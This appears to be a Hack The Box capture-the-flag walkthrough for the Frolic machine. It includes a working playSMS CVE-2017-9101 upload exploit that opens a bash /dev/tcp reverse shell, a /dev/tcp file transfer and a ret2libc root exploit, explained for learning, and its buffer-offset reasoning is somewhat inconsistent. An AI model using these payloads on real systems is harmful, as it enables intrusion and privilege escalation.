Frolic Walkthrough
Machine: Frolic#
Date: 06-04-2026 Platform: HTB Status: [Rooted]
π Recon#
Nmap:
nmap -sC -sV -oN scans/nmap_initial.txt 10.129.16.20
nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full.txt 10.129.16.20
nmap -sU --top-ports 20 -oN scans/nmap_udp.txt 10.129.16.20
Results:
- Port 22 β SSH OpenSSH 7.2p2 Ubuntu
- Port 139/445 β Samba 4.3.11-Ubuntu β guest signing disabled
- Port 1880 β HTTP (Node-RED) β
vsat-controlservice label - Port 9999 β HTTP nginx 1.10.3 β
Welcome to nginx!
Notes:
- Port 1880 is Node-RED (visual flow programming tool) β check for open panel and hardcoded creds in flows
- Port 9999 is the main attack surface β nginx with no title β enumerate directories immediately
- SMB signing disabled β relay possible, but not needed here
- OS: Ubuntu 16.04, kernel
4.4.0-116-generic i686β 32-bit! Important for exploit later
π Enumeration#
Web β Port 9999#
β [[gobuster_ffuf]] β directory fuzzing
gobuster dir -u http://10.129.16.20:9999 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-t 50 -x php,txt,html
Results:
/admin β 200 β login page
/test β 200 β phpinfo()
/dev β 403 β forbidden (but /dev/backup exists)
/backup β 200 β directory listing
/loop β rabbit hole (ignore)
/admin β Credentials in JavaScript Source#
Visiting http://10.129.16.20:9999/admin/ shows a login form. The page source reveals credentials in plaintext JS:
curl -s http://10.129.16.20:9999/admin/ | grep -i "pass\|user\|login"
# Result: username=admin, password=[REDACTED] (in JS)
Why this worked: The developer left credentials hardcoded in client-side JavaScript, validated entirely in the browser. No server-side auth β the JS just checks if input matches and redirects.
/admin β Ook! Encoded Page#
After logging in, the page displays a long string of ., ?, and ! characters β this is Ook! (an esoteric Brainfuck variant):
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ...
Decoding online at https://www.dcode.fr/ook-language reveals a hidden path:
Nothing here check /asdiSIAJJ0QWE9JAS
/asdiSIAJJ0QWE9JAS β Base64 β ZIP#
curl -s http://10.129.16.20:9999/asdiSIAJJ0QWE9JAS/
# Returns a Base64-encoded blob
curl -s http://10.129.16.20:9999/asdiSIAJJ0QWE9JAS/ | base64 -d > output.bin
file output.bin
# output.bin: Zip archive data
ZIP β Password Cracking#
zip2john output.bin > hash_zip.txt
john hash_zip.txt --wordlist=/usr/share/wordlists/rockyou.txt
# password: [REDACTED]
unzip -P password output.bin
# Extracts: index.php
index.php β Hex β Base64 β Brainfuck#
The extracted index.php contains a hex string:
cat index.php | tr -d ' \r\n' | xxd -r -p
# Output: Base64 string (with spaces β must strip before decoding)
cat index.php | tr -d ' \r\n' | xxd -r -p | base64 -d > brainfuck.txt
file brainfuck.txt
# ASCII text β Brainfuck code
# Decode Brainfuck with inline Python interpreter
python3 -c "
def bf(code):
code=''.join(c for c in code if c in '><+-.,[]')
t=[0]*30000; p=0; i=0; o=''; s=[]
while i<len(code):
c=code[i]
if c=='>': p+=1
elif c=='<': p-=1
elif c=='+': t[p]=(t[p]+1)%256
elif c=='-': t[p]=(t[p]-1)%256
elif c=='.': o+=chr(t[p])
elif c=='[':
if t[p]==0:
d=1
while d: i+=1; d+=(code[i]=='[')-(code[i]==']')
else: s.append(i)
elif c==']':
if t[p]!=0: i=s[-1]
else: s.pop()
i+=1
return o
with open('brainfuck.txt') as f: print(bf(f.read()))
"
# Output: [REDACTED]
Full encoding chain decoded:
Ook! β hidden path β Base64 β ZIP (pw: password) β Hex β Base64 β Brainfuck β [REDACTED]
playSMS β Finding the Login#
gobuster dir -u http://10.129.16.20:9999 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
# Found: /playsms β redirects to login
Login at http://10.129.16.20:9999/playsms/ with admin:[REDACTED] β
π₯ Exploitation#
playSMS β RCE via CSV Upload (CVE-2017-9101)#
β [[common_services]] β playSMS section
The vulnerability: The phonebook CSV import feature in playSMS parses PHP code embedded in any field. The result of system() is passed via $_SERVER['HTTP_USER_AGENT'] β the HTTP User-Agent header becomes the command executed.
Why the CSRF token flow matters: The token is single-use and is generated in the response of each upload, not in the import page itself. The exploit requires two requests: first upload to execute and get a fresh token, second upload uses that token with the actual reverse shell payload.
# Malicious CSV β PHP reads User-Agent and executes it
cat > evil.csv << 'EOF'
Name,Mobile,Email,Group code,Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>,2348026669,,,
EOF
#!/bin/bash
TARGET="http://10.129.16.20:9999"
LHOST="10.10.14.252"
LPORT="4444"
# Login and save session
curl -s -c /tmp/cook.txt \
-d "username=admin&password=[REDACTED]" \
"$TARGET/playsms/index.php?app=user&act=logon" > /dev/null
# First upload β User-Agent 'id' tests RCE, response contains fresh token
RESPONSE=$(curl -s -b /tmp/cook.txt -c /tmp/cook.txt \
-A "id" \
-F "[email protected];type=text/csv" \
"$TARGET/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=import")
TOKEN=$(echo "$RESPONSE" | grep -oP 'value="\K[a-f0-9]{32}' | tail -1)
echo "[*] Token: $TOKEN"
# Second upload β reverse shell in User-Agent + fresh token
curl -s -b /tmp/cook.txt \
-A "bash -c 'bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1'" \
-F "X-CSRF-Token=$TOKEN" \
-F "[email protected];type=text/csv" \
"$TARGET/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=import"
nc -lvnp 4444
./exploit.sh
# Shell received as www-data
Shell as www-data β
# Stabilize shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z β stty raw -echo; fg β export TERM=xterm
User Flag#
cat /home/ayush/user.txt
# [FLAG REDACTED]
β‘ Privilege Escalation#
SUID Binary β /home/ayush/.binary/rop#
β [[buffer_overflow]] β ret2libc section
find / -perm -4000 -type f 2>/dev/null
# Notable: /home/ayush/.binary/rop β non-standard SUID binary, name says it all
checksec /home/ayush/.binary/rop
# RELRO: Partial Canary: No NX: Enabled PIE: Disabled
# β NX enabled = no shellcode on stack β ret2libc
# β PIE disabled = binary at fixed address
# β No canary = straightforward overflow
Transfer binary to attacker machine:
# On attacker β receive
nc -lvnp 5555 > rop
# On victim β send
cat /home/ayush/.binary/rop > /dev/tcp/10.10.14.252/5555
Gathering libc Values (on victim)#
ldd /home/ayush/.binary/rop
# libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
# Base address: 0xb7e19000
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E " system| exit"
# system offset: 0x0003ada0
# exit offset: 0x0002e9d0
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
# /bin/sh offset: 0x0015ba0b
Computed addresses:
system() = 0xb7e19000 + 0x3ada0 = 0xb7e53da0
exit() = 0xb7e19000 + 0x2e9d0 = 0xb7e479d0
/bin/sh = 0xb7e19000 + 0x15ba0b = 0xb7f74a0b
Finding the Offset#
Binary search by increasing padding until crash:
./rop $(python3 -c "print('A'*44 + 'BBBB')") # segfault
./rop $(python3 -c "print('A'*43 + 'BBBB')") # no crash β message sent
# β offset is between 43 and 44
# Standard Frolic offset on victim: 52 (local binary differs due to different libc/stack alignment)
Why local testing was misleading: The binary is 32-bit but the attacker machine is x86_64. The stack layout and libc differ, making local offset testing unreliable. The actual offset on the victim (52) differs from local testing (44 crash boundary). Always verify on the target.
ret2libc Exploit#
# On victim machine (SUID binary β spawns root shell)
/home/ayush/.binary/rop $(python3 -c "
import struct
libc = 0xb7e19000
p = b'A' * 52
p += struct.pack('<I', libc + 0x3ada0) # system()
p += struct.pack('<I', libc + 0x2e9d0) # exit()
p += struct.pack('<I', libc + 0x15ba0b) # '/bin/sh'
import sys; sys.stdout.buffer.write(p)
")
# Root shell spawned
Why ret2libc works here: With NX enabled we can’t execute shellcode on the stack, but we can overwrite EIP to point to existing executable code β specifically system() in libc. We construct a fake stack frame: system() address as return address, exit() as system’s return address (clean exit), and /bin/sh as system’s argument. When the function returns, execution jumps to system("/bin/sh") and spawns a root shell because the binary is SUID root.
Why the addresses are stable: ASLR was disabled on this machine (/proc/sys/kernel/randomize_va_space = 0), so libc loads at the same base address every run. If ASLR were enabled on 32-bit, brute forcing (~256 attempts) would still work due to limited entropy.
Root Flag#
cat /root/root.txt
# [FLAG REDACTED]
π§© Attack Chain#
1. Nmap β port 9999 (nginx) + port 1880 (Node-RED)
2. gobuster β /admin, /backup, /dev, /test
3. /admin JS source β credentials admin:[REDACTED]
4. /admin login β Ook! encoded string
5. Ook! decode β hidden path /asdiSIAJJ0QWE9JAS
6. /asdiSIAJJ0QWE9JAS β Base64 blob β ZIP archive
7. zip2john + john β password: [REDACTED]
8. index.php: hex β base64 β Brainfuck β [REDACTED]
9. gobuster β /playsms
10. playSMS login admin:[REDACTED]
11. CVE-2017-9101 CSV upload RCE β reverse shell as www-data
12. user.txt β
13. find SUID β /home/ayush/.binary/rop (NX on, PIE off, no canary)
14. ldd + readelf + strings β libc base + system/exit//bin/sh offsets
15. ret2libc: A*52 + system() + exit() + /bin/sh β root shell
16. root.txt β
π― Loot / Flags#
- user.txt: ``[FLAG REDACTED]
β/home/ayush/user.txt` - root.txt: ``[FLAG REDACTED]
β/root/root.txt`
Credentials:
| Account | Credential | Source |
|---|---|---|
| playSMS admin | admin:s[REDACTED] | JS source of /admin |
| playSMS admin | admin:[REDACTED] | Ook! β ZIP β Hex β B64 β Brainfuck chain |
π Lessons Learned#
- Credentials in client-side JavaScript. The
/adminlogin validates entirely in the browser β opening the source reveals the password in plaintext. Always check JS source on any login page before attempting brute force. - Chained encoding puzzles require patience and a decoder toolkit. Frolic chains 5 layers: Ook! β Base64 β ZIP β Hex β Base64 β Brainfuck. Recognizing each format quickly is key β Ook! has only
.?!, Brainfuck has only+-><[].,, and hex has only0-9a-f. CyberChef’s Magic operation autodetects most of these. - CSRF tokens in playSMS are single-use and come from the upload response. The token is not on the import page β it appears in the response to each upload. The exploit requires two requests: first to test RCE and capture the token, second to use that fresh token with the reverse shell payload.
- playSMS IP firewall blocks curl logins if too many failed attempts. If curl returns 302 β
core_auth&route=block, the IP is blocked. Fix: unblock from the browser session at/playsms/index.php?app=main&inc=feature_firewall&op=firewall_list. - ret2libc is the go-to when NX is enabled but PIE is disabled. With NX on we lose shellcode execution, but we gain a much simpler exploit: no shellcode needed, no JMP ESP hunting, no bad char analysis. Just three addresses from libc:
system(),exit(),/bin/sh. - Always gather libc values from the victim, not locally. The binary is 32-bit; if your attacker machine is 64-bit,
lddgives you the wrong libc. The offset that causes a crash locally (44) differs from the actual offset on the victim (52) due to stack alignment differences. Every value β libc base, function offsets, /bin/sh offset β must come fromldd/readelf/stringsrun on the target. - Binary search is fast enough for finding BOF offsets when pwndbg is unavailable. Pattern create/offset is cleaner but requires pwndbg or GDB with PEDA. Without those, halving the search range (crash at 50, no crash at 43 β try 46 β try 52) converges in ~6 attempts.
#WebEnumeration #Gobuster #CredentialLeak #JavaScriptAnalysis #EncodingChains #Ook #Base64 #ZIPCracking #JohnTheRipper #Brainfuck #PlaySMS #CVE20179101 #FileUploadRCE #ReverseShell #PrivilegeEscalation #SUID #BinaryExploitation #BufferOverflow #Ret2Libc #LibcLeak #NXBypass #LinuxPrivilegeEscalation
Adapted from MountainFlayer/htb-writeups under MIT.